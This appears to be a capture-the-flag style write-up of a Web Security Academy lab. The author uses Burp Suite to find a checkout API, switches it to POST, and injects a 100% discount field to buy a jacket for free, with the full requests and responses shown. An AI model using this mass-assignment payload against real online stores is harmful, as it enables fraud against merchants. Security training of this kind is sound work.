Exploiting a mass assignment vulnerability

Description

To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

Approach

After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite to check if there were any requests reaching an API. I found this interesting request:

GET /api/checkout HTTP/2
Host: 0a64001f04086e8280e0b2da00300085.web-security-academy.net
Cookie: session=4vAia8UQZEpDw9qkNRVO7pTpaMmFrUUm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a64001f04086e8280e0b2da00300085.web-security-academy.net/cart
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

Its response:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 141

{
  "chosen_discount": {
    "percentage": 0
  },
  "chosen_products": [
    {
      "product_id": "5",
      "name": "First Impression Costumes",
      "quantity": 1,
      "item_price": 6227
    }
  ]
}

It prints out the data of the product at the checkout. To start, I sent the request to Burp Intruder to see its behavior when I change the HTTP methods. I added a payload marker around the HTTP method and in the payload tab, I chose simple list as the payload type. Then, in the payload settings, I selected the HTTP verbs list (note: adding lists is available in Burp Suite Pro, but you can manually build your own list if needed). After sending the attack and filtering by length, I noticed that a request with POST as the HTTP method gets a different response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"error":"Unexpected '}' at [line 1, column 11]"}

So I used the Content-Type Convert extension and changed it to JSON and resent the request. I got this error:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 69

{"error":"Key order: Key chosen_products: undefined is not an array"}

I copied the JSON body from the first GET request and resent the request:

POST /api/checkout HTTP/2
Host: 0a89004704935e2e8052b78a00af00bb.web-security-academy.net
Cookie: session=jQH3ifTzm9pwxpmBzfbqMLkaEj0Gc1mA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

{
  "chosen_discount": {
    "percentage": 0
  },
  "chosen_products": [
    {
      "product_id": "1",
      "name": "Lightweight \"l33t\" Leather Jacket",
      "quantity": 1,
      "item_price": 133700
    }
  ]
}

However, I got this error indicating insufficient funds:

HTTP/2 201 Created
Location: /cart?err=INSUFFICIENT_FUNDS
X-Frame-Options: SAMEORIGIN
Content-Length: 0

I tried changing item_price to 0, but I still got the same error. Then I noticed the percentage item in the chosen_discount field. By setting that to 100, it means I will get a 100% discount on the product, making it free. I sent the request:

POST /api/checkout HTTP/2
Host: 0a89004704935e2e8052b78a00af00bb.web-security-academy.net
Cookie: session=jQH3ifTzm9pwxpmBzfbqMLkaEj0Gc1mA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 .

{
  "chosen_discount": {
    "percentage": 100
  },
  "chosen_products": [
    {
      "product_id": "1",
      "name": "Lightweight \"l33t\" Leather Jacket",
      "quantity": 1,
      "item_price": 133700
    }
  ]
}

I got the following response:

HTTP/2 201 Created
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0

The order was placed successfully, and I bought the leather jacket, solving the lab.